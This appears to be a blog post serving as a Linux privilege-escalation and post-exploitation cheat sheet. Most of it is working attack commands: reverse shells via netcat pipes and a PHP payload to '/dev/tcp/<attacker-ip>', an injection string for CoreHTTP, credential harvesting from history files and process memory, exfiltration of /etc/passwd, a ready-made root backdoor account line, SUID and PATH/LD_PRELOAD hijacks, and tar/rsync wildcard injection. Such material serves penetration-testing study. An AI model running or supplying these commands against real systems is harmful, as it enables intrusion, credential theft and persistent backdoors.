Privilege Escalation - Linux

Privilege escalation or vertical privilege escalation means elevating access from a limited user by abusing misconfigurations, design flaws, and features within the windows operating system.



OS System

File System Layout Reference: https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard
Commands:
  • cat /proc/version
  • uname -a
  • uname -mrs
  • rpm -q kernel
  • dmesg | grep Linux
  • ls /boot | grep vmlinuz-Info

After identifying kernel version and OS version use searchsploit to find available exploits
Commands
  • wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/exploit_suggester.sh


Compiling Exploits

Commands
  • gcc file.c -o file -static
  • Info: You can compile things statically (all dependencies/libraries are within the file) with gcc file.c -o file -static
  • gcc -fPIC -shared -o lib.so lib.c -nostartfiles
  • Info Compiles an independent positioned shared library
  • Reference:
  • https://developers.redhat.com/blog/2018/03/21/compiler-and-linker-flags-gcc/

Networking Pilfering

Commands
  • hostname
  • domainname
  • ifconfig -a
  • arp -e
  • /sbin/route
  • iptables -LCommand: netstat -antu
  • Prints Listening TCP Connections
  • netstat -anu
  • Prints Listening UDP Connections
  • route
    • Print Network Routing Information
  • cat /etc/sysconfig/network /etc/networks /etc/sysconfig/dhcpd /etc/dhcp/dhcpd.conf /etc/resolv.conf 
  • find -name ".htaccess" | xargs -r cat
  • find -name ".htpasswd" | xargs -r cat
  • mount; df -h; cat /etc/fstab
    • lists mounted file systems
  • Script Scan for open ports on host
  • for port in {1..65535}; do (echo  > /dev/tcp/<enter ip>/$port) >& /dev/null && echo "Port $port seems to be open";done
  • listen for responses with tcpdump
  • tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]


Port Forwarding

https://www.ivoidwarranties.tech/posts/pentesting-tuts/pivoting/localport-forward


  • Port Forward to Attacker
    • ssh -L <bind-port>:127.0.0.1:<port-forward>root@attacker-ip 
  • Reverse Port Forward to Attacker
    • ssh -R <bind-port>:127.0.0.1:<port-forward> root@attacker-ip
Using pipes
  • mknod backpipe p ; nc -l -p <bind-port> < backpipe | nc <attacker-ip> <port-forward >backpipe  mknod backpipe p ; nc -l -p <bind-port> 0 & < backpipe | tee -a inflow | nc localhost <port-forward> | tee -a outflow 1>backpipe   
  • mknod backpipe p ; nc -l -p <bind-port> 0 & < backpipe | tee -a inflow | nc localhost <prot-forward> | tee -a outflow & 1>backpipe    


Tunneling

sshuttle Tool: https://www.ivoidwarranties.tech/posts/pentesting-tuts/pivoting/sshuttle/

Reverse Tunnel
  • sshuttle -r  username@<target-ip> <broadcast-address on target network>.0/24

Reverse Tunnel with DNS
  • sshuttle --dns -vvr username@<target-ip>0/0

Tunneling with SSH and https://github.com/rofl0r/proxychains-ng
  • ssh -D 127.0.0.1:9050 -N [root]@[attacker-ip]
Info: On target run command to listen to port 9050

Additional Reference: https://artkond.com/2017/03/23/pivoting-guide/



File Transfer

Finding transfer tools on the compromised box
  • find / -name wget
  • find / -name netcat*
  • find / -name tftp* 
  • find / -name ftp

Transfer Techniques
  • echo $(wget https://ATTACKER_IP/file) >> ~/tmp/fileCommand: curl http://attacker-ip/file > file

Using FD Pointers (< = send), (> = recieve)
  • nc -w 10 <destination_ip> <port> < <file>
  • nc -lvp <port> > <flle>


System Info Gathering

  • whoami
  • sudo -l
    • List Sudoers with command privileges Command:
  • Prints assigned groups
    • groups
  • List other logged on users
    • w
  • Prints last logged on users
     
    • last
cat /etc/passwd | cut -d: -f1  

List Users and SIDs
  • awk -F: '($3 == "0") {print}' /etc/passwd
Print User ID
  • id
    • Cool trick create a user matching there id using useradd -u <userid> <user>
find / -perm -u=s -type f | xargs -r ls -la
cat /etc/profile /etc/bashrc ~/.bash_profile ~/.bashrc ~/.bash_logout
 
Prints User Environment Variables Configured On SystemInfo
  • env
  • set

Run command as another user
  • sudo -u <username>

Understanding Hash Formats

Reference: https://www.aychedee.com/2012/03/14/etc_shadow-password-hash-formats/$1$ = md5$2a$ = Blowfish$2y$ = Blowfish, with correct handling of 8 bit characters$5$ = sha256$6$ = sha512


Search For creds On File System

Command: ./LinEnum.sh -t -k passwordInfo: LinEnum is a script designed to help identify weakness within linux system that can be used to gain privilege escalationReference: https://github.com/rebootuser/LinEnumCommand: cat ~/.*_historyCommand: cat /etc/pam.d/system-authInfo: Check if Password Lockout Policy SetCommand: cat /var/apache2/config.inc /var/lib/mysql/mysql/user.MYD /root/anaconda-ks.cfgInfo: Creds Stored in Scripts/Database filesCommand: cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_historyInfo: Use grep -i to search for specific strings "passw" "user"Command: find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"Info: Creds stored on a Joomal CMS ServerCommand: cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/rootInfo: Creds possible stored in mailCommand: ls -al  ~/.ssh/authorized_keysCommand: ls -al  /etc/ssh/Info: Check to see if SSH authorized keys are availableInfo: Use ssh -i <cert> host to authenticate ssh with cert 


Creds Stored in Memory

Command: ps -ef Info: List Process and look for  Session oriented Services, such as ssh or ftp, and make note of its pidCommand: gdb -p <pid of service>Info: Launch gdb and attach it to the specified pidCommand: gdb> info proc mappings Info: Prints mapped address make note of the start and end address from [HEAP]Command: dump memory /tmp/mem [start-address] [end-address]Info: Dump the memory contents and use strings to parser the memory dump file


Search for World Writable Directories or Files

Command: find / -writable -type d 2>/dev/null Info: Checks world-writeable foldersCommand: find / -perm -222 -type d 2>/dev/null Info: Checks world-writeable foldersCommand: find / -perm -o w -type d 2>/dev/null Info: Checks world-writeable foldersCommand: find / -perm -o x -type d 2>/dev/null Info: Checks world-executable foldersCommand: find  \( -perm -o w -perm -o x \) -type d 2>/dev/null Info: Checks world-writeable & executable foldersCommand: find / -xdev -type \( -perm -0002 -a ! -perm -1000 \) -print Info: Checks world-writeable filesCommand: find /dir -xdev \( -nouser -o -nogroup \) -print Info: Checks Noowner files


Search For SUID Binaries

Command: find / -user root -perm -4000 -print 2>/dev/nullCommand: find / -perm -u=s -type f 2>/dev/nullCommand: find / -user root -perm -4000 -exec ls -ldb {} \;Info: Common SUID Binaries that can be used to escalate to rootInfo: In addition these commands can be used to escape restricted shellInfo: AWK Command: awk 'BEGIN {system("/bin/bash")}'Info: bash can be used to execute shellCommand: bash -p Info: NMAP Command: echo "os.execute('/bin/bash')" > x.nseCommand: nmap -script=x.nseCommand: nmap -V ( Version 4.53)Command: nmap --interactiveCommand: from nmap interactive menu execute !shInfo: FINDCommand: find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;Info: LESS Command: less /etc/shadowInfo: After reading a file using less execute !/bin/bashInfo: MORE Command: more /etc/shadowInfo: After reading a file using more execute !/bin/bashInfo: MAN Command: man pingCommand: After read the manual of a command execute !/bin/bashInfo: VI Command: vim /etc/passwdInfo: After opening the vim editor execute shift + : then enter !/bin/bashInfo: ECHO can be used to execute shellCommand: echo os.system('/bin/bash')Info: SH Command: /bin/sh -iInfo: Python Command: python -c "import pty;pty.spawn('/bin/bash');"Info: Ruby Command: echo "exec '/bin/bash';" > /tmp/root.rbCommand: ruby /tmp/root.rbInfo: PERL Command: echo "exec '/bin/bash';" > /tmp/root.plCommand: perl /tmp/root.plCommand: perl —e 'exec "/bin/bash";'Info: LUACommand: echo "os.execute('/bin/bash')" > /tmp/root.luaCommand: lua /tmp/root.luaInfo: TCPDUMPCommand: echo $'id\n /bin/bash' > /tmp/.shell Command: chmod +x /tmp/.shellCommand: sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.shell -Z rootInfo: BUSYBOXCommand: /bin/busybox telnetd -|/bin/bash -p9999Info: NANO Command: nano /etc/passwdInfo: Add the following line to create a backdoor account with root privs: backdoor:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bashInfo: This creates a user Backdoor and password testInfo: CPCommand: cp /etc/shadow /etc/shadow.bakCommand: cp -rf shadow /etc/shadowInfo: cp -rf can be used to overwrite files (create a spoofed shadow file)Info: HTInfo: ht is a hex editor that can be used to modify files such as /etc/sudeorsReference: http://hte.sourceforge.net/readme.htmlReference: http://theevilbit.blogspot.com/2013/11/kioptrix-level-3-walkthrough.htmlInfo: MVCommand: mv /etc/shadow /etc/shadow.bakCommand: mv shadow /etc/shadowInfo: mv can be used to overwrite files (create a spoofed shadow file)4Info: NCCommand: nc -lvp 80 > server_passwdCommand: wget 127.0.0.1 –post-file /etc/passwdInfo: MOUNTCommand: mount -o bind /bin/bash /bin/mountCommand: mountReference: https://gtfobins.github.io/Info: GTFOBINS provides a list of linux programs that can be used for PrvEscHijacking Installed ProgramsLeveraging SymlinksInfo: Symlinks can be used to obtain access to restricted files, or execute arbitrary codeCommand: To create a symlink execute, ln -s <path-to-file> <file>Command:  To create a symlink in php execute, symlink(“/”, “./symroot”);Hijack setuid binaryfunction <path-to-setuid-program> () { /bin/bash; }export -f <path-to-setuid-program>execute setuid program


Poising PATH

Info: adding a . in the path variable causes programs to execute arbitrary codeInfo: To do this one needs to spoof a binary and cause an elevated user to run that spoofed binary, such as lsCommand: echo "/bin/bash" > ls Command: chmod +x lsCommand: export PATH=.:$PATHInfo: Once ls is executed by an elevated user account bash will be calledInfo: After setting the path directory, may need to reset itCommand: Execute export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCommand: export TERM=xtermCommand: export SHELL=bashControl Execution FlowInfo: If a script or program is calling another binary, we can hijack its path to execute an arbitrary commandCommand: cd /tmpCommand: echo "/bin/bash" > <name-of-program>Command: chmod +x <name-of-program>Command: export PATH=/tmp:$PATHCommand: navigate back to the script or program and execute itLD_PRELOAD InjectionReference:  get root payload, https://goo.gl/5ZtwtjCommand: compile payload, gcc -fPIC -shared -o /tmp/root.so root.c -nostartfilesCommand: Launch, LD_PRELOAD=/tmp/root.so apache2 <run any available setuid binary>Shared Library DLL Injection:Info: Trace a suid binary to identify missing libraryCommand: strace /usr/local/bin/<suid binar> 2>&1 | grep -i -E "open|access|no such file"Info: If a shared library is missing compile a impersonated payload Reference: Shared library payload, https://goo.gl/wMeAhVCommand: Compile payload, gcc -shared -o <path-to-missing-library> -fPIC <path-to-payload.c>Abusing Wildcard (*)Info: Look for scripts that contain the following commands:ChownChmodTarRsyncInfo: Good place cat /etc/crontabChown file reference trick (file owner hijacking)Info: create a file and assign ownership to it Command: touch hijack && chown user user hijack.phpInfo: create a second file as --reference=.hijack.phpCommand: touch --reference=.hijack.phpChmod file reference trickInfo: create a file and assign ownership to it Command: touch hijack && chown user user hijack.phpInfo: create a second file as --reference=.hijack.phpCommand: touch ./--reference=.hijack.phpTar arbitrary command execution Command: echo "cp /bin/bash /tmp/bash && chmod +s /tmp/bash" > shell.shCommand: echo "" > "--checkpoint-action=exec=sh shell.sh"Command: echo "" > --checkpoint=1Command: tar cf archive.tar *Rsync arbitrary command executionCommand: touch ./'-e sh shell.c'Command: echo "cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p" >> shell.c && chmod +x shell.c


Attacking Processes and Services

Command: ps aux | grep rootInfo: List running process running as rootCommand: ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l; rpm -qa; ls -alh /var/cache/apt/archivesO; ls -alh /var/cache/yum/Info: Locate applications that are installed Command: pkg_infoInfo: Obtain Application Version Information on OpenBSD, FreeBSDCommand: dpkg -IInfo: Obtain Application Version information on DebianCommand: rpm -qaInfo: Obtain Application Version information on CentOS, OpenSuse, Fedora, RHELCommand: find / -name wget; find / -name nc*; find / -name netcat*; find / -name tftp*; find / -name ftp; find / -name tcpdumpInfo: Find Interesting programsCommand: service --status-allInfo: List running servicesEnumerate Service LogsCommand: cat /etc/httpd/logs/access_log  /var/log/httpd/error.log  /var/log/apache2/access_log /var/log/apache2/error_log /var/log/apache/access_log /var/log/auth.log /var/log/chttp.log /var/log/cups/error_log /var/log/dpkg.log /var/log/faillog /var/log/lastlog /var/log/lighttpd/access.log /var/log/lighttpd/error.log /var/log/lighttpd/lighttpd.access.log /var/log/lighttpd/lighttpd.error.log /var/log/messages /var/log/secure /var/log/syslog /var/log/wtmp /var/log/xferlog /var/log/yum.log /var/run/utmp /var/webmin/miniserv.log /var/www/logs/access_logCommand: ls -alh /var/lib/dhcp3/Command: ls -alh /var/log/postgresql/Command: ls -alh /var/log/proftpd/Command: ls -alh /var/log/samba/


Known Vulnerable Services

Info: Exim 4.84-3 and lower is vulnerable to local privilege exploit Reference: https://www.exploit-db.com/exploits/39535/Command: cat /etc/syslog.conf /etc/chttp.conf /etc/lighttpd.conf /etc/cups/cupsd.conf /etc/inetd.conf /etc/apache2/apache2.conf /etc/my.conf /etc/httpd/conf/httpd.conf /opt/lampp/etc/httpd.confInfo: List Service Configurations to parse for vulnerabilitiesInfo: CoreHTTP configuration Reference: https://www.exploit-db.com/exploits/10610/Command: index.pl?page=`mknod backpipe p && nc <attacker-ipaddress> <listening-port> 0<backpipe | /bin/bash 1>backpipe&`Info: URL encode the string above to send a request to the CoreHTTP ServerInfo: LightHTTPd Web Server Reference: https://www.exploit-db.com/exploits/4391/Command: wget --referer="<?php system('/bin/bash -i > /dev/tcp/<attacker-ip>/<listening-port> 0<&1 2>&1'); ?>" localhostInfo: CUPS, Configures CUPS Printing Server's scheduler Reference:https://www.exploit-db.com/exploits/41233/Info: inetd.conf will load a network program based upon a request from the network - Check for vulnerabiltiesReference: https://docs.oracle.com/cd/E19253-01/816-5174/inetd.conf-4/index.htmlInfo: inetd.conf can possible result in a race condition, inetd responsible to close and open sockets/ports, however there are times when sockets are closed however ports can be left open allowing ports to bind to new connectionsCommand: cat /var/log/apache2/access.logInfo: Contains Web Client Access connections to Ubuntu Apache Web ServersCommand: cat /var/log/httpd/access_logInfo: Contains Web Client Access connections to RHEL Web ServersCommand: cat /etc/my.confInfo: MySQL Configuration FileCommand: cat /etc/httpd/conf/httpd.confInfo: Apache HTTP Service Configuration FileCommand: cat /opt/lampp/etc/httpd.confInfo: LAMP HTTP Service ConfigurationCommand: ls -alhR /var/www/Command: ls -alhR /srv/www/htdocs/Command: ls -alhR /usr/local/www/apache22/data/Command: ls -alhR /opt/lampp/htdocs/Command: ls -alhR /var/www/html/Known Vulnerable ServicesSMB (SambaCry) versions:3.5.0 - 4.x4.x - 4.4.144.5.x - 4.5.9 Reference: https://github.com/opsxcq/exploit-CVE-2017-7494MySQL Service (using a limited user)Command: select sys_exec('whoami');Info: Check if running as rootInfo: From limited user create the following getsystem.c program in tmp directoryCommand:gcc -o /tmp/shell /home/<user>/shell.cInfo: Compile the shell.c programCommand: mysql> select sys_exec('chmod +s /tmp/shell');Info: using MySQL SetBit the shell payload to escalate as rootNFSCommand:cat /etc/exportsInfo: Look for (rw,sync,no_root_squash)Info: If no_root_squash tag is available we can escalate privs.Use nfsshell and follow https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/Info: On Attacker System execute:Command: mkdir /tmp/victimCommand: mount -o rw, vers=2 target-ip:/tmp/victimCommand: echo 'int main() {setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/victimCommand: chmod +s /tmp/victimRecovering Deleted Files

SUID Binaries Attacks
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system(“/bin/bash”);
}



TIPS

Command: sudo grep -i -a -B100 -A100 'string' /dev/sda1 > file.txt
Replace /dev/sda1 with the device that the file was on and replace 'string' with the unique string in your file. This could take some time. But basically, what this does is it searches for the string on the device and then returns 100 lines before and after that line and puts it in file.txt. If you need more lines returned just adjust the -B and -A options as appropriate. You might get a bunch of extra garbage returned, but you should be able to get your text back.

Automation Tools

http://www.rebootuser.com/?p=1758
This tool is great at running through a heap of things you should check on a Linux system in the post exploit process. This include file permissions, cron jobs if visible, weak credentials etc. The first thing I run on a newly compromised system.
http://www.securitysift.com/download/linuxprivchecker.py
This is a great tool for once again checking a lot of standard things like file permissions etc. The real gem of this script is the recommended privilege escalation exploits given at the conclusion of the script. This is a great starting point for escalation.
https://www.rebootuser.com/?p=1623
https://github.com/Shiva108/CTF-notes/blob/master/Kali%20Linux%20Offensive%20Security%20Certified%20Professional%20Playbook.html
http://pwnwiki.io/#!index.md
https://github.com/Shiva108/CTF-notes/blob/master/dostoevsky-pentest-notes-master/chapter-5.md
https://guif.re/linuxeop

Comments

Popular Posts